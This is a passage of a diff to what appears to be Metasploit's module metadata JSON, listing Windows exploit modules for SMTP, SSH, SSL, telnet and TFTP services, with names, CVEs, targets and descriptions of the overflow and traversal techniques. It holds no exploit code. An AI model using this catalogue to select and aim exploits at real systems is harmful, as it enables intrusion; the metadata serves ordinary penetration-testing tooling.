"default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": null }, "exploit_windows/smtp/wmailserver": { "name": "SoftiaCom WMailserver 1.0 Buffer Overflow", "fullname": "exploit/windows/smtp/wmailserver", - "aliases": [ - - ], + "aliases": [], "rank": 200, "disclosure_date": "2005-07-11", "type": "exploit", "author": [ "MC " ], - "description": "This module exploits a stack buffer overflow in SoftiaCom WMailserver 1.0\n (SMTP) via a SEH frame overwrite.", + "description": "This module exploits a stack buffer overflow in SoftiaCom WMailserver 1.0\n (SMTP) via a SEH frame overwrite.", "references": [ "CVE-2005-2287", "OSVDB-17883", @@ -195728,17 +201261,13 @@ "platform": "Windows", "arch": "", "rport": 25, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Windows 2000 Pro English All", "Windows XP Pro SP0/SP1 English" ], - "mod_time": "2020-10-02 17:38:06 +0000", + "mod_time": "2025-06-23 12:43:46 +0000", "path": "/modules/exploits/windows/smtp/wmailserver.rb", "is_install_path": true, "ref_name": "windows/smtp/wmailserver", @@ -195746,6 +201275,15 @@ "post_auth": false, "default_credential": false, "notes": { + "Reliability": [ + "unknown-reliability" + ], + "Stability": [ + "unknown-stability" + ], + "SideEffects": [ + "unknown-side-effects" + ] }, "session_types": false, "needs_cleanup": null @@ -195753,16 +201291,14 @@ "exploit_windows/smtp/ypops_overflow1": { "name": "YPOPS 0.6 Buffer Overflow", "fullname": "exploit/windows/smtp/ypops_overflow1", - "aliases": [ - - ], + "aliases": [], "rank": 200, "disclosure_date": "2004-09-27", "type": "exploit", "author": [ "acaro " ], - "description": "This module exploits a stack buffer overflow in the YPOPS POP3\n service.\n\n This is a classic stack buffer overflow for YPOPS version 0.6.\n Possibly Affected version 0.5, 0.4.5.1, 0.4.5. Eip point to\n jmp ebx opcode in ws_32.dll", + "description": "This module exploits a stack buffer overflow in the YPOPS POP3\n service.\n\n This is a classic stack buffer overflow for YPOPS version 0.6.\n Possibly Affected version 0.5, 0.4.5.1, 0.4.5. Eip point to\n jmp ebx opcode in ws_32.dll", "references": [ "CVE-2004-1558", "OSVDB-10367", @@ -195799,7 +201335,7 @@ "Windows 2003 SP0 English", "Windows 2003 SP1 English" ], - "mod_time": "2020-10-02 17:38:06 +0000", + "mod_time": "2025-06-23 12:43:46 +0000", "path": "/modules/exploits/windows/smtp/ypops_overflow1.rb", "is_install_path": true, "ref_name": "windows/smtp/ypops_overflow1", @@ -195807,6 +201343,15 @@ "post_auth": false, "default_credential": false, "notes": { + "Reliability": [ + "unknown-reliability" + ], + "Stability": [ + "unknown-stability" + ], + "SideEffects": [ + "unknown-side-effects" + ] }, "session_types": false, "needs_cleanup": null @@ -195814,16 +201359,14 @@ "exploit_windows/ssh/freeftpd_key_exchange": { "name": "FreeFTPd 1.0.10 Key Exchange Algorithm String Buffer Overflow", "fullname": "exploit/windows/ssh/freeftpd_key_exchange", - "aliases": [ - - ], + "aliases": [], "rank": 200, "disclosure_date": "2006-05-12", "type": "exploit", "author": [ "riaf " ], - "description": "This module exploits a simple stack buffer overflow in FreeFTPd 1.0.10\n This flaw is due to a buffer overflow error when handling a specially\n crafted key exchange algorithm string received from an SSH client.\n This module is based on MC's freesshd_key_exchange exploit.", + "description": "This module exploits a simple stack buffer overflow in FreeFTPd 1.0.10\n This flaw is due to a buffer overflow error when handling a specially\n crafted key exchange algorithm string received from an SSH client.\n This module is based on MC's freesshd_key_exchange exploit.", "references": [ "CVE-2006-2407", "OSVDB-25569", @@ -195832,19 +201375,15 @@ "platform": "Windows", "arch": "", "rport": 22, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Windows 2000 SP0-SP4 English", "Windows 2000 SP0-SP4 German", "Windows XP SP0-SP1 English", "Windows XP SP2 English" ], - "mod_time": "2020-10-02 17:38:06 +0000", + "mod_time": "2025-06-23 12:43:46 +0000", "path": "/modules/exploits/windows/ssh/freeftpd_key_exchange.rb", "is_install_path": true, "ref_name": "windows/ssh/freeftpd_key_exchange", @@ -195852,6 +201391,15 @@ "post_auth": false, "default_credential": false, "notes": { + "Reliability": [ + "unknown-reliability" + ], + "Stability": [ + "unknown-stability" + ], + "SideEffects": [ + "unknown-side-effects" + ] }, "session_types": false, "needs_cleanup": null @@ -195859,9 +201407,7 @@ "exploit_windows/ssh/freesshd_authbypass": { "name": "Freesshd Authentication Bypass", "fullname": "exploit/windows/ssh/freesshd_authbypass", - "aliases": [ - - ], + "aliases": [], "rank": 600, "disclosure_date": "2010-08-11", "type": "exploit", @@ -195882,17 +201428,13 @@ "platform": "Windows", "arch": "", "rport": 22, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "PowerShell", "CmdStager upload" ], - "mod_time": "2020-09-22 02:56:51 +0000", + "mod_time": "2025-06-23 12:43:46 +0000", "path": "/modules/exploits/windows/ssh/freesshd_authbypass.rb", "is_install_path": true, "ref_name": "windows/ssh/freesshd_authbypass", @@ -195900,6 +201442,15 @@ "post_auth": false, "default_credential": false, "notes": { + "Reliability": [ + "unknown-reliability" + ], + "Stability": [ + "unknown-stability" + ], + "SideEffects": [ + "unknown-side-effects" + ] }, "session_types": false, "needs_cleanup": null @@ -195907,16 +201458,14 @@ "exploit_windows/ssh/freesshd_key_exchange": { "name": "FreeSSHd 1.0.9 Key Exchange Algorithm String Buffer Overflow", "fullname": "exploit/windows/ssh/freesshd_key_exchange", - "aliases": [ - - ], + "aliases": [], "rank": 200, "disclosure_date": "2006-05-12", "type": "exploit", "author": [ "MC " ], - "description": "This module exploits a simple stack buffer overflow in FreeSSHd 1.0.9.\n This flaw is due to a buffer overflow error when handling a specially\n crafted key exchange algorithm string received from an SSH client.", + "description": "This module exploits a simple stack buffer overflow in FreeSSHd 1.0.9.\n This flaw is due to a buffer overflow error when handling a specially\n crafted key exchange algorithm string received from an SSH client.", "references": [ "CVE-2006-2407", "OSVDB-25463", @@ -195925,18 +201474,14 @@ "platform": "Windows", "arch": "", "rport": 22, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Windows 2000 Pro SP4 English", "Windows XP Pro SP0 English", "Windows XP Pro SP1 English" ], - "mod_time": "2020-10-02 17:38:06 +0000", + "mod_time": "2025-06-23 12:43:46 +0000", "path": "/modules/exploits/windows/ssh/freesshd_key_exchange.rb", "is_install_path": true, "ref_name": "windows/ssh/freesshd_key_exchange", @@ -195944,6 +201489,15 @@ "post_auth": false, "default_credential": false, "notes": { + "Reliability": [ + "unknown-reliability" + ], + "Stability": [ + "unknown-stability" + ], + "SideEffects": [ + "unknown-side-effects" + ] }, "session_types": false, "needs_cleanup": null @@ -195951,16 +201505,14 @@ "exploit_windows/ssh/putty_msg_debug": { "name": "PuTTY Buffer Overflow", "fullname": "exploit/windows/ssh/putty_msg_debug", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": "2002-12-16", "type": "exploit", "author": [ "MC " ], - "description": "This module exploits a buffer overflow in the PuTTY SSH client that is\n triggered through a validation error in SSH.c. This vulnerability\n affects versions 0.53 and earlier.", + "description": "This module exploits a buffer overflow in the PuTTY SSH client that is\n triggered through a validation error in SSH.c. This vulnerability\n affects versions 0.53 and earlier.", "references": [ "CVE-2002-1359", "OSVDB-8044", @@ -195970,18 +201522,14 @@ "platform": "Windows", "arch": "", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Windows 2000 SP4 English", "Windows XP SP2 English", "Windows 2003 SP1 English" ], - "mod_time": "2020-10-02 17:38:06 +0000", + "mod_time": "2025-06-23 12:43:46 +0000", "path": "/modules/exploits/windows/ssh/putty_msg_debug.rb", "is_install_path": true, "ref_name": "windows/ssh/putty_msg_debug", @@ -195989,6 +201537,15 @@ "post_auth": false, "default_credential": false, "notes": { + "Reliability": [ + "unknown-reliability" + ], + "Stability": [ + "unknown-stability" + ], + "SideEffects": [ + "unknown-side-effects" + ] }, "session_types": false, "needs_cleanup": null @@ -195996,16 +201553,14 @@ "exploit_windows/ssh/securecrt_ssh1": { "name": "SecureCRT SSH1 Buffer Overflow", "fullname": "exploit/windows/ssh/securecrt_ssh1", - "aliases": [ - - ], + "aliases": [], "rank": 200, "disclosure_date": "2002-07-23", "type": "exploit", "author": [ "MC " ], - "description": "This module exploits a buffer overflow in SecureCRT <= 4.0\n Beta 2. By sending a vulnerable client an overly long\n SSH1 protocol identifier string, it is possible to execute\n arbitrary code.\n\n This module has only been tested on SecureCRT 3.4.4.", + "description": "This module exploits a buffer overflow in SecureCRT <= 4.0\n Beta 2. By sending a vulnerable client an overly long\n SSH1 protocol identifier string, it is possible to execute\n arbitrary code.\n\n This module has only been tested on SecureCRT 3.4.4.", "references": [ "CVE-2002-1059", "OSVDB-4991", @@ -196014,16 +201569,12 @@ "platform": "Windows", "arch": "", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "SecureCRT.exe (3.4.4)" ], - "mod_time": "2020-10-02 17:38:06 +0000", + "mod_time": "2025-06-23 12:43:46 +0000", "path": "/modules/exploits/windows/ssh/securecrt_ssh1.rb", "is_install_path": true, "ref_name": "windows/ssh/securecrt_ssh1", @@ -196031,6 +201582,15 @@ "post_auth": false, "default_credential": false, "notes": { + "Reliability": [ + "unknown-reliability" + ], + "Stability": [ + "unknown-stability" + ], + "SideEffects": [ + "unknown-side-effects" + ] }, "session_types": false, "needs_cleanup": null @@ -196038,9 +201598,7 @@ "exploit_windows/ssh/sysax_ssh_username": { "name": "Sysax 5.53 SSH Username Buffer Overflow", "fullname": "exploit/windows/ssh/sysax_ssh_username", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": "2012-02-27", "type": "exploit", @@ -196057,17 +201615,13 @@ "platform": "Windows", "arch": "", "rport": 22, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Sysax 5.53 on Win XP SP3 / Win2k3 SP0", "Sysax 5.53 on Win2K3 SP1/SP2" ], - "mod_time": "2022-04-18 09:36:52 +0000", + "mod_time": "2025-06-23 12:43:46 +0000", "path": "/modules/exploits/windows/ssh/sysax_ssh_username.rb", "is_install_path": true, "ref_name": "windows/ssh/sysax_ssh_username", @@ -196075,6 +201629,15 @@ "post_auth": false, "default_credential": false, "notes": { + "Reliability": [ + "unknown-reliability" + ], + "Stability": [ + "unknown-stability" + ], + "SideEffects": [ + "unknown-side-effects" + ] }, "session_types": false, "needs_cleanup": null @@ -196082,31 +201645,27 @@ "exploit_windows/ssl/ms04_011_pct": { "name": "MS04-011 Microsoft Private Communications Transport Overflow", "fullname": "exploit/windows/ssl/ms04_011_pct", - "aliases": [ - - ], + "aliases": [], "rank": 200, "disclosure_date": "2004-04-13", "type": "exploit", "author": [ "hdm " ], - "description": "This module exploits a buffer overflow in the Microsoft\n Windows SSL PCT protocol stack. This code is based on Johnny\n Cyberpunk's THC release and has been tested against Windows\n 2000 and Windows XP. To use this module, specify the remote\n port of any SSL service, or the port and protocol of an\n application that uses SSL. The only application protocol\n supported at this time is SMTP. You only have one chance to\n select the correct target, if you are attacking IIS, you may\n want to try one of the other exploits first (WebDAV). If\n WebDAV does not work, this more than likely means that this\n is either Windows 2000 SP4+ or Windows XP (IIS 5.0 vs IIS\n 5.1). Using the wrong target may not result in an immediate\n crash of the remote system.", + "description": "This module exploits a buffer overflow in the Microsoft\n Windows SSL PCT protocol stack. This code is based on Johnny\n Cyberpunk's THC release and has been tested against Windows\n 2000 and Windows XP. To use this module, specify the remote\n port of any SSL service, or the port and protocol of an\n application that uses SSL. The only application protocol\n supported at this time is SMTP. You only have one chance to\n select the correct target, if you are attacking IIS, you may\n want to try one of the other exploits first (WebDAV). If\n WebDAV does not work, this more than likely means that this\n is either Windows 2000 SP4+ or Windows XP (IIS 5.0 vs IIS\n 5.1). Using the wrong target may not result in an immediate\n crash of the remote system.", "references": [ "CVE-2003-0719", "OSVDB-5250", "BID-10116", - "MSB-MS04-011" + "MSB-MS04-011", + "ATT&CK-T1059", + "ATT&CK-T1068" ], "platform": "Windows", "arch": "", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Windows 2000 SP4", "Windows 2000 SP3", @@ -196116,7 +201675,7 @@ "Windows XP SP0", "Windows XP SP1" ], - "mod_time": "2020-10-02 17:38:06 +0000", + "mod_time": "2025-06-06 12:39:33 +0000", "path": "/modules/exploits/windows/ssl/ms04_011_pct.rb", "is_install_path": true, "ref_name": "windows/ssl/ms04_011_pct", @@ -196124,6 +201683,15 @@ "post_auth": false, "default_credential": false, "notes": { + "Reliability": [ + "unknown-reliability" + ], + "Stability": [ + "unknown-stability" + ], + "SideEffects": [ + "unknown-side-effects" + ] }, "session_types": false, "needs_cleanup": null @@ -196131,16 +201699,14 @@ "exploit_windows/telnet/gamsoft_telsrv_username": { "name": "GAMSoft TelSrv 1.5 Username Buffer Overflow", "fullname": "exploit/windows/telnet/gamsoft_telsrv_username", - "aliases": [ - - ], + "aliases": [], "rank": 200, "disclosure_date": "2000-07-17", "type": "exploit", "author": [ "aushack " ], - "description": "This module exploits a username sprintf stack buffer overflow in GAMSoft TelSrv 1.5.\n Other versions may also be affected. The service terminates after exploitation,\n so you only get one chance!", + "description": "This module exploits a username sprintf stack buffer overflow in GAMSoft TelSrv 1.5.\n Other versions may also be affected. The service terminates after exploitation,\n so you only get one chance!", "references": [ "CVE-2000-0665", "OSVDB-373", @@ -196150,18 +201716,14 @@ "platform": "Windows", "arch": "x86", "rport": 23, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Windows 2000 Pro SP0/4 English REMOTE", "Windows 2000 Pro SP0/4 English LOCAL (debug - 127.0.0.1)", "Windows 2000 Pro SP0/4 English LOCAL (debug - dhcp)" ], - "mod_time": "2020-10-02 17:38:06 +0000", + "mod_time": "2025-06-23 12:43:46 +0000", "path": "/modules/exploits/windows/telnet/gamsoft_telsrv_username.rb", "is_install_path": true, "ref_name": "windows/telnet/gamsoft_telsrv_username", @@ -196169,6 +201731,15 @@ "post_auth": false, "default_credential": false, "notes": { + "Reliability": [ + "unknown-reliability" + ], + "Stability": [ + "unknown-stability" + ], + "SideEffects": [ + "unknown-side-effects" + ] }, "session_types": false, "needs_cleanup": null @@ -196176,9 +201747,7 @@ "exploit_windows/telnet/goodtech_telnet": { "name": "GoodTech Telnet Server Buffer Overflow", "fullname": "exploit/windows/telnet/goodtech_telnet", - "aliases": [ - - ], + "aliases": [], "rank": 200, "disclosure_date": "2005-03-15", "type": "exploit", @@ -196194,17 +201763,13 @@ "platform": "Windows", "arch": "", "rport": 2380, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Windows 2000 Pro English All", "Windows XP Pro SP0/SP1 English" ], - "mod_time": "2020-10-02 17:38:06 +0000", + "mod_time": "2025-06-23 12:43:46 +0000", "path": "/modules/exploits/windows/telnet/goodtech_telnet.rb", "is_install_path": true, "ref_name": "windows/telnet/goodtech_telnet", @@ -196212,6 +201777,15 @@ "post_auth": false, "default_credential": false, "notes": { + "Reliability": [ + "unknown-reliability" + ], + "Stability": [ + "unknown-stability" + ], + "SideEffects": [ + "unknown-side-effects" + ] }, "session_types": false, "needs_cleanup": null @@ -196219,16 +201793,14 @@ "exploit_windows/tftp/attftp_long_filename": { "name": "Allied Telesyn TFTP Server 1.9 Long Filename Overflow", "fullname": "exploit/windows/tftp/attftp_long_filename", - "aliases": [ - - ], + "aliases": [], "rank": 200, "disclosure_date": "2006-11-27", "type": "exploit", "author": [ "aushack " ], - "description": "This module exploits a stack buffer overflow in AT-TFTP v1.9, by sending a\n request (get/write) for an overly long file name.", + "description": "This module exploits a stack buffer overflow in AT-TFTP v1.9, by sending a\n request (get/write) for an overly long file name.", "references": [ "CVE-2006-6184", "OSVDB-11350", @@ -196238,12 +201810,8 @@ "platform": "Windows", "arch": "", "rport": 69, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Automatic", "Windows NT SP4 English", @@ -196258,7 +201826,7 @@ "Windows Server 2003", "Windows Server 2003 SP2" ], - "mod_time": "2020-10-02 17:38:06 +0000", + "mod_time": "2025-06-23 12:43:46 +0000", "path": "/modules/exploits/windows/tftp/attftp_long_filename.rb", "is_install_path": true, "ref_name": "windows/tftp/attftp_long_filename", @@ -196266,6 +201834,15 @@ "post_auth": false, "default_credential": false, "notes": { + "Reliability": [ + "unknown-reliability" + ], + "Stability": [ + "unknown-stability" + ], + "SideEffects": [ + "unknown-side-effects" + ] }, "session_types": false, "needs_cleanup": null @@ -196273,9 +201850,7 @@ "exploit_windows/tftp/distinct_tftp_traversal": { "name": "Distinct TFTP 3.10 Writable Directory Traversal Execution", "fullname": "exploit/windows/tftp/distinct_tftp_traversal", - "aliases": [ - - ], + "aliases": [], "rank": 600, "disclosure_date": "2012-04-08", "type": "exploit", @@ -196293,16 +201868,12 @@ "platform": "Windows", "arch": "", "rport": 69, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Automatic" ], - "mod_time": "2021-01-28 10:35:25 +0000", + "mod_time": "2025-06-23 12:43:46 +0000", "path": "/modules/exploits/windows/tftp/distinct_tftp_traversal.rb", "is_install_path": true, "ref_name": "windows/tftp/distinct_tftp_traversal", @@ -196310,6 +201881,15 @@ "post_auth": false, "default_credential": false, "notes": { + "Reliability": [ + "unknown-reliability" + ], + "Stability": [ + "unknown-stability" + ], + "SideEffects": [ + "unknown-side-effects" + ] }, "session_types": false, "needs_cleanup": true @@ -196317,9 +201897,7 @@ "exploit_windows/tftp/dlink_long_filename": { "name": "D-Link TFTP 1.0 Long Filename Buffer Overflow", "fullname": "exploit/windows/tftp/dlink_long_filename", - "aliases": [ - - ], + "aliases": [], "rank": 400, "disclosure_date": "2007-03-12", "type": "exploit", @@ -196327,7 +201905,7 @@ "LSO ", "aushack " ], - "description": "This module exploits a stack buffer overflow in D-Link TFTP 1.0.\n By sending a request for an overly long file name, an attacker\n could overflow a buffer and execute arbitrary code. For best results,\n use bind payloads with nonx (No NX).", + "description": "This module exploits a stack buffer overflow in D-Link TFTP 1.0.\n By sending a request for an overly long file name, an attacker\n could overflow a buffer and execute arbitrary code. For best results,\n use bind payloads with nonx (No NX).", "references": [ "CVE-2007-1435", "OSVDB-33977", @@ -196336,17 +201914,13 @@ "platform": "Windows", "arch": "", "rport": 69, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Windows 2000 SP4 English", "Windows 2000 SP3 English" ], - "mod_time": "2020-10-02 17:38:06 +0000", + "mod_time": "2025-06-23 12:43:46 +0000", "path": "/modules/exploits/windows/tftp/dlink_long_filename.rb", "is_install_path": true, "ref_name": "windows/tftp/dlink_long_filename", @@ -196354,6 +201928,15 @@ "post_auth": false, "default_credential": false, "notes": { + "Reliability": [ + "unknown-reliability" + ], + "Stability": [ + "unknown-stability" + ], + "SideEffects": [ + "unknown-side-effects" + ] }, "session_types": false, "needs_cleanup": null @@ -196361,16 +201944,14 @@ "exploit_windows/tftp/futuresoft_transfermode": { "name": "FutureSoft TFTP Server 2000 Transfer-Mode Overflow", "fullname": "exploit/windows/tftp/futuresoft_transfermode", - "aliases": [ - - ], + "aliases": [], "rank": 200, "disclosure_date": "2005-05-31", "type": "exploit", "author": [ "MC " ], - "description": "This module exploits a stack buffer overflow in the FutureSoft TFTP Server\n 2000 product. By sending an overly long transfer-mode string, we were able\n to overwrite both the SEH and the saved EIP. A subsequent write-exception\n that will occur allows the transferring of execution to our shellcode\n via the overwritten SEH. This module has been tested against Windows\n 2000 Professional and for some reason does not seem to work against\n Windows 2000 Server (could not trigger the overflow at all).", + "description": "This module exploits a stack buffer overflow in the FutureSoft TFTP Server\n 2000 product. By sending an overly long transfer-mode string, we were able\n to overwrite both the SEH and the saved EIP. A subsequent write-exception\n that will occur allows the transferring of execution to our shellcode\n via the overwritten SEH. This module has been tested against Windows\n 2000 Professional and for some reason does not seem to work against\n Windows 2000 Server (could not trigger the overflow at all).", "references": [ "CVE-2005-1812", "OSVDB-16954", @@ -196379,12 +201960,8 @@ "platform": "Windows", "arch": "", "rport": 69, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Automatic", "Windows 2000 Pro English ALL", @@ -196392,7 +201969,7 @@ "Windows NT SP5/SP6a English", "Windows 2003 Server English" ], - "mod_time": "2020-10-02 17:38:06 +0000", + "mod_time": "2025-06-23 12:43:46 +0000", "path": "/modules/exploits/windows/tftp/futuresoft_transfermode.rb", "is_install_path": true, "ref_name": "windows/tftp/futuresoft_transfermode", @@ -196400,6 +201977,15 @@ "post_auth": false, "default_credential": false, "notes": { + "Reliability": [ + "unknown-reliability" + ], + "Stability": [ + "unknown-stability" + ], + "SideEffects": [ + "unknown-side-effects" + ] }, "session_types": false, "needs_cleanup": null @@ -196407,9 +201993,7 @@ "exploit_windows/tftp/netdecision_tftp_traversal": { "name": "NetDecision 4.2 TFTP Writable Directory Traversal Execution", "fullname": "exploit/windows/tftp/netdecision_tftp_traversal", - "aliases": [ - - ], + "aliases": [], "rank": 600, "disclosure_date": "2009-05-16", "type": "exploit", @@ -196417,7 +202001,7 @@ "Rob Kraus", "juan vazquez " ], - "description": "This module exploits a vulnerability found in NetDecision 4.2 TFTP server. The\n software contains a directory traversal vulnerability that allows a remote attacker\n to write arbitrary file to the file system, which results in code execution under\n the context of user executing the TFTP Server.", + "description": "This module exploits a vulnerability found in NetDecision 4.2 TFTP server. The\n software contains a directory traversal vulnerability that allows a remote attacker\n to write arbitrary file to the file system, which results in code execution under\n the context of user executing the TFTP Server.", "references": [ "CVE-2009-1730", "OSVDB-54607", @@ -196426,16 +202010,12 @@ "platform": "Windows", "arch": "", "rport": 69, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "NetDecision 4.2 TFTP on Windows XP SP3 / Windows 2003 SP2" ], - "mod_time": "2021-01-28 10:35:25 +0000", + "mod_time": "2025-06-23 12:43:46 +0000", "path": "/modules/exploits/windows/tftp/netdecision_tftp_traversal.rb", "is_install_path": true, "ref_name": "windows/tftp/netdecision_tftp_traversal", @@ -196443,6 +202023,15 @@ "post_auth": false, "default_credential": false, "notes": { + "Reliability": [ + "unknown-reliability" + ], + "Stability": [ + "unknown-stability" + ], + "SideEffects": [ + "unknown-side-effects" + ] }, "session_types": false, "needs_cleanup": null @@ -196450,9 +202039,7 @@ "exploit_windows/tftp/opentftp_error_code": { "name": "OpenTFTP SP 1.4 Error Packet Overflow", "fullname": "exploit/windows/tftp/opentftp_error_code", - "aliases": [ - - ], + "aliases": [], "rank": 200, "disclosure_date": "2008-07-05", "type": "exploit", @@ -196460,7 +202047,7 @@ "tixxDZ", "steponequit" ], - "description": "This module exploits a buffer overflow in OpenTFTP Server SP 1.4. The vulnerable\n condition triggers when the TFTP opcode is configured as an error packet, the TFTP\n service will then format the message using a sprintf() function, which causes an\n overflow, therefore allowing remote code execution under the context of SYSTEM.\n\n The offset (to EIP) is specific to how the TFTP was started (as a 'Stand Alone',\n or 'Service'). By default the target is set to 'Service' because that's the default\n configuration during OpenTFTP Server SP 1.4's installation.", + "description": "This module exploits a buffer overflow in OpenTFTP Server SP 1.4. The vulnerable\n condition triggers when the TFTP opcode is configured as an error packet, the TFTP\n service will then format the message using a sprintf() function, which causes an\n overflow, therefore allowing remote code execution under the context of SYSTEM.\n\n The offset (to EIP) is specific to how the TFTP was started (as a 'Stand Alone',\n or 'Service'). By default the target is set to 'Service' because that's the default\n configuration during OpenTFTP Server SP 1.4's installation.", "references": [ "CVE-2008-2161", "OSVDB-44904", @@ -196470,17 +202057,13 @@ "platform": "Windows", "arch": "", "rport": 69, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "OpenTFTP 1.4 Service", "OpenTFTP 1.4 Stand Alone" ], - "mod_time": "2020-10-02 17:38:06 +0000", + "mod_time": "2025-06-23 12:43:46 +0000", "path": "/modules/exploits/windows/tftp/opentftp_error_code.rb", "is_install_path": true, "ref_name": "windows/tftp/opentftp_error_code", @@ -196488,6 +202071,15 @@ "post_auth": false, "default_credential": false, "notes": { + "Reliability": [ + "unknown-reliability" + ], + "Stability": [ + "unknown-stability" + ], + "SideEffects": [ + "unknown-side-effects" + ] }, "session_types": false, "needs_cleanup": null @@ -196495,16 +202087,14 @@ "exploit_windows/tftp/quick_tftp_pro_mode": { "name": "Quick FTP Pro 2.1 Transfer-Mode Overflow", "fullname": "exploit/windows/tftp/quick_tftp_pro_mode", - "aliases": [ - - ], + "aliases": [], "rank": 400, "disclosure_date": "2008-03-27", "type": "exploit", "author": [ "Saint Patrick" ], - "description": "This module exploits a stack buffer overflow in the Quick TFTP Pro server\n product. MS Update KB926436 screws up the opcode address being used in oledlg.dll resulting\n in a DoS. This is a port of a sploit by Mati \"muts\" Aharoni.", + "description": "This module exploits a stack buffer overflow in the Quick TFTP Pro server\n product. MS Update KB926436 screws up the opcode address being used in oledlg.dll resulting\n in a DoS. This is a port of a sploit by Mati \"muts\" Aharoni.", "references": [ "CVE-2008-1610", "OSVDB-43784", @@ -196514,17 +202104,13 @@ "platform": "Windows", "arch": "", "rport": 69, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Windows Server 2000", "Windows XP SP2" ], - "mod_time": "2023-03-23 10:19:30 +0000", + "mod_time": "2025-06-23 12:43:46 +0000", "path": "/modules/exploits/windows/tftp/quick_tftp_pro_mode.rb", "is_install_path": true, "ref_name": "windows/tftp/quick_tftp_pro_mode", @@ -196532,6 +202118,15 @@ "post_auth": false, "default_credential": false, "notes": { + "Reliability": [ + "unknown-reliability" + ], + "Stability": [ + "unknown-stability" + ], + "SideEffects": [ + "unknown-side-effects" + ] }, "session_types": false, "needs_cleanup": null @@ -196539,16 +202134,14 @@ "exploit_windows/tftp/tftpd32_long_filename": { "name": "TFTPD32 Long Filename Buffer Overflow", "fullname": "exploit/windows/tftp/tftpd32_long_filename", - "aliases": [ - - ], + "aliases": [], "rank": 200, "disclosure_date": "2002-11-19", "type": "exploit", "author": [ "MC " ], - "description": "This module exploits a stack buffer overflow in TFTPD32 version 2.21\n and prior. By sending a request for an overly long file name\n to the tftpd32 server, a remote attacker could overflow a buffer and\n execute arbitrary code on the system.", + "description": "This module exploits a stack buffer overflow in TFTPD32 version 2.21\n and prior. By sending a request for an overly long file name\n to the tftpd32 server, a remote attacker could overflow a buffer and\n execute arbitrary code on the system.", "references": [ "CVE-2002-2226", "OSVDB-45903", @@ -196557,12 +202150,8 @@ "platform": "Windows", "arch": "", "rport": 69, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Automatic", "Windows NT 4.0 SP6a English", @@ -196570,7 +202159,7 @@ "Windows XP Pro SP0 English", "Windows XP Pro SP1 English" ], - "mod_time": "2020-10-02 17:38:06 +0000", + "mod_time": "2025-06-23 12:43:46 +0000", "path": "/modules/exploits/windows/tftp/tftpd32_long_filename.rb", "is_install_path": true, "ref_name": "windows/tftp/tftpd32_long_filename", @@ -196578,6 +202167,15 @@ "post_auth": false, "default_credential": false, "notes": { + "Reliability": [ + "unknown-reliability" + ], + "Stability": [ + "unknown-stability" + ], + "SideEffects": [ + "unknown-side-effects" + ] }, "session_types": false, "needs_cleanup": null @@ -196585,16 +202183,14 @@ "exploit_windows/tftp/tftpdwin_long_filename": { "name": "TFTPDWIN v0.4.2 Long Filename Buffer Overflow", "fullname": "exploit/windows/tftp/tftpdwin_long_filename", - "aliases": [ - - ], + "aliases": [], "rank": 500, "disclosure_date": "2006-09-21", "type": "exploit", "author": [ "aushack " ], - "description": "This module exploits the ProSysInfo TFTPDWIN threaded TFTP Server. By sending\n an overly long file name to the tftpd.exe server, the stack can be overwritten.", + "description": "This module exploits the ProSysInfo TFTPDWIN threaded TFTP Server. By sending\n an overly long file name to the tftpd.exe server, the stack can be overwritten.", "references": [ "CVE-2006-4948", "OSVDB-29032", @@ -196604,16 +202200,12 @@ "platform": "Windows", "arch": "", "rport": 69, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Universal - tftpd.exe" ], - "mod_time": "2020-10-02 17:38:06 +0000", + "mod_time": "2025-06-23 12:43:46 +0000", "path": "/modules/exploits/windows/tftp/tftpdwin_long_filename.rb", "is_install_path": true, "ref_name": "windows/tftp/tftpdwin_long_filename", @@ -196621,6 +202213,15 @@ "post_auth": false, "default_credential": false, "notes": { + "Reliability": [ + "unknown-reliability" + ], + "Stability": [ + "unknown-stability" + ], + "SideEffects": [ + "unknown-side-effects" + ] }, "session_types": false, "needs_cleanup": null @@ -196628,9 +202229,7 @@ "exploit_windows/tftp/tftpserver_wrq_bof": { "name": "TFTP Server for Windows 1.4 ST WRQ Buffer Overflow", "fullname": "exploit/windows/tftp/tftpserver_wrq_bof", - "aliases": [ - - ], + "aliases": [], "rank": 